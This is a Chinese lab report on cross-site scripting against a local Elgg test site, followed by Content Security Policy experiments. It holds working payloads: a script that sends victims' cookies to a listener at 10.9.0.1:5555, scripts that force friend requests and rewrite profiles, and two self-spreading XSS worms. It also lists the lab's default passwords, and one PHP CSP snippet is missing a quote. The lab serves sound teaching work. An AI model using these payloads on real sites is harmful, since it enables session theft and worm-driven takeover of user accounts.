【软件安全】实验4 跨站脚本(XSS)攻击实验
目录
- 【软件安全】实验4 跨站脚本(XSS)攻击实验
Task 1: 上传恶意消息以显示警告窗口
此任务的目标是在 Elgg 的个人资料中嵌入一个 JavaScript 程序,以便当其他用户查看你的个人资料时会执行 JavaScript 程序并显示一个警告窗口。
1. 直接嵌入
以下的 JavaScript 代码将显示一个警告窗口:
<script>alert('XSS');</script>
下面我将使用 Alice 的账户做测试,实现显示警告窗口:
- 首先登陆 Alice 的账户,用户账户如下所示:
----------------------------
UserName | Password
----------------------------
admin | seedelgg
alice | seedalice
boby | seedboby
charlie | seedcharlie
samy | seedsamy
----------------------------
- 依次点击 Account -> Edit profile 进入个人资料编辑页面,在 brief description 处写入 JavaScript 代码:
- 保存并刷新页面,显示了警告弹窗。
2. 通过 src 属性引用嵌入
2.1 搭建一个本地 Web 服务器
- 创建一个目录,在目录下创建 JavaScript 脚本文件
xss_worm.js
。 - 使用命令
python3 -m http.server 9999
启动 Web 服务。 - 在
/etc/hosts
文件中设置域名,将127.0.0.1
映射到 www.miyu.com - 使用
http://www.miyu.com:9999/myscripts.js
访问 JS 脚本。
2.2 使用 src 属性引用
如果你的 JavaScript 脚本过长,可以将 JavaScript 程序保存在文件中,然后使用 src 属性引用。
<script type="text/javascript"
src="http://www.miyu.com:9999/myscripts.js">
</script>
访问主页,如下所示:
Task 2:上传恶意代码以显示 Cookies
此任务的目标是在你的 Elgg 的个人资料中嵌入一个 JavaScript 程序,使得当其他用户查看你的个人资料时该用户的 cookies 将显示在警告窗口中。
修改 Task 1 的代码,使用 document.cookie
获取当前页面的所有cookies:
<script>alert(document.cookie);</script>
效果如下所示:
Task 3:窃取受害者机器的 Cookies
在前一个任务中,攻击者编写的恶意 JavaScript 代码可以打印出用户的 cookies,但只有用户可以看到 cookies,而不是攻击者。在这个任务中,攻击者希望 JavaScript 代码将用户 cookies 发送给自己。
我们可以使用 <img>
标签实现 cookies 的发送,当 <img>
标签被插入到页面时,浏览器发出 URL 请求,利用 URL 请求,将 cookies 发送到攻击者的服务器。
<script>
document.write('<img src=http://10.9.0.1:5555?c='+ escape(document.cookie) + ' >');
</script>
同时,我们使用 netcat(nc)
监听 5555 端口,使用如下命令:
nc -lknv 5555
-l
参数表示nc
监听的是一个传入连接。-nv
参数用于显示更详细的输入。-k
参数表示当一个连接完成时,监听另一个连接。
实验结果如下所示:
可以发现红框中的部分为访问者的 Cookie 信息,成功窃取到了受害者的 Cookie。
Task 4:成为受害者的朋友
我们将编写一个 XSS 蠕虫,使得任何其他访问 Samy 页面的用户都会加 Samy 为朋友。
1. 确定参数
在编写恶意的 JavaScript 程序之前,我们需要先搞清楚添加朋友是通过请求哪些参数来实现的,使用 FireFox 的插件 HTTP header live 可以获取发送朋友请求时的全部请求信息,我们先登陆 Samy 的账户,并对 Alice 发送好友请求,并使用 HTTP header live 插件来捕获信息。
依次点击 Members -> Alice -> Add friend 即可添加好友,点击 Add friend 时捕获到的 GET 请求如下所示:
http://www.seed-server.com/action/friends/add?friend=56&__elgg_ts=1730886267&__elgg_token=QsFgZUqbfQ83KK3rUNkHhQ&__elgg_ts=1730886267&__elgg_token=QsFgZUqbfQ83KK3rUNkHhQ
我们发现想要完成添加好友的操作,必须获取几个参数:
- friend 编号,可以得出 Samy 的编号为 59
- __elgg_ts 参数
- __elgg_token 参数
2. 编写 JavaScript 脚本
根据第一步的分析,我们可以写出如下JS脚本:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; //(1)
var token="&__elgg_token="+elgg.security.token.__elgg_token; //(2)
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token; //FILL IN
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.send();
}
</script>
3. 攻击测试
- 首先登陆 Alice 的账户,确认其没有添加 Samy 的好友。
- 点击 Samy 的 Profile,并查看好友列表,发现自动添加了 Samy 的好友。
4. Q & A
-
Q1:解释第 (1) 行和第 (2) 行的目的,为什么需要这两行?
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
用于获取一个时间戳(__elgg_ts)的值,可以用于防止 CSRF(跨站请求伪造)攻击,它可以确保请求是由合法用户发出的,并且请求的时间窗不会过期。var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
用于获取一个 CSRF 令牌,也是为了防止 CSRF 攻击,它可以确保请求没有被篡改。 -
Q2:如果 Elgg 应用程序仅为“About Me”部分提供编辑器模式,即你无法切换到文本模式,你还能成功发起攻击吗?
不可以,因为编辑器模式会对部分符号进行转义,而且会给每一行加上
<p>
标签,并在行末加入<br />
换行符,使得我们的 JavaScript 脚本无法执行,如下所示:<p><script type="text/javascript"><br /> window.onload = function () {<br /> var Ajax=null;</p> <p> var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; //(1)<br /> var token="&__elgg_token="+elgg.security.token.__elgg_token; //(2)</p> <p> //Construct the HTTP request to add Samy as a friend.<br /> var sendurl="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token; //FILL IN</p>
Task 5:修改受害者的个人资料
这个任务的目标是在受害者访问 Samy 的界面时修改受害者的个人资料。
1. 确定参数
修改 Profile 的时候使用插件 HTTP Header Live 抓取 URL,发现修改时会发送一个 POST 请求:
发送了一个这样的请求:
__elgg_token=ve9v_2hFvL5So_x9hQc_xg&__elgg_ts=1731067312&name=Samy&description=<p>1111</p>&guid=59
于是我们需要获取一下参数:
__elgg_token
: CSRF 令牌__elgg_ts
:时间戳name
:用户名description
:修改的内容guid
:用户id,samy 的 guid 为 59
2. 编写 JavaScript 脚本
根据第一步的分析,我们可以写出如下脚本:
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content=token+ts+userName+"&description=Your profile has been changed!!!"+guid; //FILL IN
var samyGuid=59; //FILL IN
var sendurl="http://www.seed-server.com/action/profile/edit"; //FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
3. 攻击测试
登录 Alice 的账户,访问 Samy 的主页,发现 Alice 的 About me 改成了 JavaScript 脚本中设置的 Your profile has been changed!!!。
4. Q & A
-
Q3:我们为什么需要第 (1) 行?删除这行,重复你的攻击。报告并解释你的观察结果。
这行判断用户的 guid 是否是 Samy 的 guid,如果不是,再发送 POST 请求进行攻击,这样可以防止 Samy 自己被攻击。
如果删除第一行,samy 自己也会受到攻击,删除这行,重复攻击,如下所示:
可以发现 Samy 的恶意脚本也被替换成了 Your profile has been changed!!!,导致无法进行下一次的攻击。
Task 6:编写自传播 XSS 蠕虫
恶意 JavaScript 程序要成为真正的蠕虫,应该要实现自传播。也就是说,每当有人查看受感染的个人资料时,他们的个人资料不仅会被修改,蠕虫还会传播到他们的个人资料中,进一步影响查看这些新感染资料的其他人。在这个任务中,你需要实现这样一个蠕虫,它不仅修改受害者的个人资料并将用户“Samy”添加为朋友,还将蠕虫本身的副本添加到受害者的个人资料中,这样受害者就变成了攻击者。
1. Link 方法
<script type="text/javascript" src="http://www.miyu.com:9999/xss_worm.js"></script>
可以使用 src
属性嵌入恶意脚本,并利用这个恶意脚本将以上这段代码传递到其他人的 Profile,这样就实现了自传播的 XSS 蠕虫。
以下是 xss_worm.js
的实现:
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content=token+ts+userName+"&description=<p>Your profile has been changed!!!<\/p><script type=\"text\/javascript\" src=\"http:\/\/www.miyu.com:9999\/xss_worm.js\"><\/script>"+guid; //FILL IN
var samyGuid=59; //FILL IN
var sendurl1="http://www.seed-server.com/action/profile/edit"; //change profile
var sendurl2="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token; //add samy
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl1, true);
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
Ajax=new XMLHttpRequest();
Ajax.open("GET", sendurl2, true);
Ajax.send();
}
测试:
- 登录 Alice 的账户,点击 Samy 的主页,发现 Alice 的主页被感染,同时自动加了 Samy 为好友:
- 登录 boby 的账户,点击 Alice 的主页,发现 Boby 的主页也被感染,也自动添加了 Samy 为好友:
这说明我们编写的这个 xss 蠕虫是自传播的,而且所有访问过 Samy 主页的人都会感染这个蠕虫并可以继续传播给别人。
2. DOM 方法
编写 XSS 蠕虫还可以使用 DOM APIs 从网页中检索自身的副本,从而将蠕虫传播到另一个人的资料中。
下面的 JS 代码能获取自身的副本,并显示在网页上:
<script id="worm">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; //(1)
var jsCode = document.getElementById("worm").innerHTML; //(2)
var tailTag = "</" + "script>"; //(3)
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); //(4)
alert(jsCode);
</script>
利用上面的机制,我们可以编写一个 xss 蠕虫:
<script id="worm">
window.onload = function(){
var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; // (1)
var jsCode = document.getElementById("worm").innerHTML; // (2)
var tailTag = "</" + "script>"; // (3)
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); // (4)
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName="&name="+elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var description="&description=<p>Your profile has been changed!!!"+wormCode;
//Construct the content of your url.
var content=token+ts+userName+description+guid; //FILL IN
var samyGuid=59; //FILL IN
var sendurl1="http://www.seed-server.com/action/profile/edit"; //change profile
var sendurl2="http://www.seed-server.com/action/friends/add?friend=59"+ts+token+ts+token; //add samy
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST", sendurl1, true);
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
Ajax=new XMLHttpRequest();
Ajax.open("GET", sendurl2, true);
Ajax.send();
}
</script>
测试:
首先登陆 Alice 的账户,访问 Samy 的主页,发现 Alice 自动添加了 Samy 的好友,而且 Alice 的主页被感染。
然后登陆 Boby 的账户,访问 Alice 的主页,发现 Boby 也自动添加了 Samy 的好友,而且 Samy 的主页被感染。
这样就说明了这个 XSS 蠕虫是自传播的,而且使用 DOM 方法实现。
Task 7:使用 CSP 抵御 XSS 攻击
访问以下三个URL:
1. 网页前端代码分析
这三个网页的源码如下所示:
<html>
<h2>CSP Experiment</h2>
<p>1. Inline: Nonce (111-111-111): <span id='area1'>Failed</span></p>
<p>2. Inline: Nonce (222-222-222): <span id='area2'>Failed</span></p>
<p>3. Inline: No Nonce: <span id='area3'>Failed</span></p>
<p>4. From self: <span id='area4'>Failed</span></p>
<p>5. From www.example60.com: <span id='area5'>Failed</span></p>
<p>6. From www.example70.com: <span id='area6'>Failed</span></p>
<p>7. From button click:
<button onclick="alert('JS Code executed!')">Click me</button></p>
<script type="text/javascript" nonce="111-111-111">
document.getElementById('area1').innerHTML = "OK";
</script>
<script type="text/javascript" nonce="222-222-222">
document.getElementById('area2').innerHTML = "OK";
</script>
<script type="text/javascript">
document.getElementById('area3').innerHTML = "OK";
</script>
<script src="script_area4.js"> </script>
<script src="http://www.example60.com/script_area5.js"> </script>
<script src="http://www.example70.com/script_area6.js"> </script>
</html>
这个 HTML 页面用于测试内容安全策略(Content Security Policy, CSP)分为了 7 个测试部分:
- 使用 nonce="111-111-111" 的内联 JavaScript
- 使用 nonce="222-222-222" 的内联 JavaScript
- 没有 nonce 的内联 JavaScript
- 从同源加载的外部脚本
- 从 www.example60.com 加载的外部脚本
- 从 www.example70.com 加载的外部脚本
- 通过按钮点击触发内联 JavaScript
2. CSP 策略设置文件
在 /etc/apache2/sites-available/apache_csp.conf
文件中保存了以上三个网页的 CSP 策略:
# Purpose: Do not set CSP policies
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32a.com
DirectoryIndex index.html
</VirtualHost>
# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
Header set Content-Security-Policy " \
default-src 'self'; \
script-src 'self' *.example70.com \
"
</VirtualHost>
# Purpose: Setting CSP policies in web applications
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32c.com
DirectoryIndex phpindex.php
</VirtualHost>
# Purpose: hosting Javascript files
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example60.com
</VirtualHost>
# Purpose: hosting Javascript files
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example70.com
</VirtualHost>
- www.example32a.com:没有设置 CSP 安全策略
- www.example32b.com:允许加载同源的和
*.example70.com
的 JavaScript 脚本。 - www.example32c.com:将首页文件设为
phpindex.php
,通过PHP脚本控制CSP。
3. Q & A
3.1 描述并解释你访问这些网站时的观察结果。
7 个测试均为 OK,原因是 www.example32a.com 没有设置 CSP 安全策略
可以发现前两个关于 Nonce 的测试都为 Failed,原因是 CSP 策略中没有添加相关的 Nonce 值,这会导致它们无法执行。第三项无 Nonce 值的也无法执行,原因是默认情况下,CSP 会阻止所有未带 nonce
的内联脚本,除非策略中明确允许。第四项和第六项可以执行是因为 CSP 策略中设置了可以加载同源的或者来自 www.example70.com 的 JS 脚本。第五项无法执行是由于 CSP 策略中没有允许加载来自 www.example60.com 的 JS 脚本。
可以发现第一项、第四项、第六项可以执行,原因是 phpindex.php
指定了 CSP 策略,如下所示:
<?php
$cspheader = "Content-Security-Policy:".
"default-src 'self';".
"script-src 'self' 'nonce-111-111-111' *.example70.com".
"";
header($cspheader);
?>
<?php include 'index.html';?>
允许了 Nonce 为 nonce-111-111-111
的 JS 脚本执行,并且允许同源的或者来自 www.example70.com 的 JS 脚本。
3.2 点击所有三个网站网页中的按钮,描述并解释你的观察结果。
可以发现通过按键触发的 JS 代码可以执行,原因是该网站没有设置 CSP 策略。
可以发现通过按键触发的 JS 代码不能执行,原因是按键触发属于内联事件,而 CSP 策略中设置了可以加载同源的或者来自 www.example70.com 的 JS 脚本,默认是无法执行内联事件的,所以不能执行。
也是无法执行的,原因同上。
3.3 更改 example32b 上的服务器配置(修改 Apache 配置),使 Areas 5 和 6 显示 OK。请在实验报告中写出你修改的配置。
修改/etc/apache2/sites-available/apache_csp.conf
配置为:
# Purpose: Setting CSP policies in Apache configuration
<VirtualHost *:80>
DocumentRoot /var/www/csp
ServerName www.example32b.com
DirectoryIndex index.html
Header set Content-Security-Policy " \
default-src 'self'; \
script-src 'self' *.example70.com *.example60.com \
"
</VirtualHost>
保存并重启 Apache 服务:
$ service apache2 restart
刷新页面:
3.4 更改 example32c 上的服务器配置(修改 PHP 代码),使 Areas 1、2、4、5 和 6 都显示 OK。请在实验报告中写出你修改的配置。
修改 /var/www/csp/phpindex.php
,如下所示:
<?php
$cspheader = "Content-Security-Policy:".
"default-src 'self';".
"script-src 'self' 'nonce-111-111-111' 'nonce-222-222-222' *.example60.com *.example70.com
"";
header($cspheader);
?>
<?php include 'index.html';?>
保存并重启 Apache 服务:
$ service apache2 restart
刷新页面:
3.5 请解释为什么 CSP 可以帮助防止跨站脚本攻击。
- 限制脚本来源:可以指定只能执行同源的或者指定地址的 JS 脚本,防止未经允许的脚本执行。
- 阻止内联脚本执行:可以防止攻击者在页面中插入恶意的 Button,点击后执行恶意脚本。
- 使用 Nonce 验证合法的脚本:只有带有正确 Nonce 的 JS 脚本才能执行,从而无法执行恶意脚本。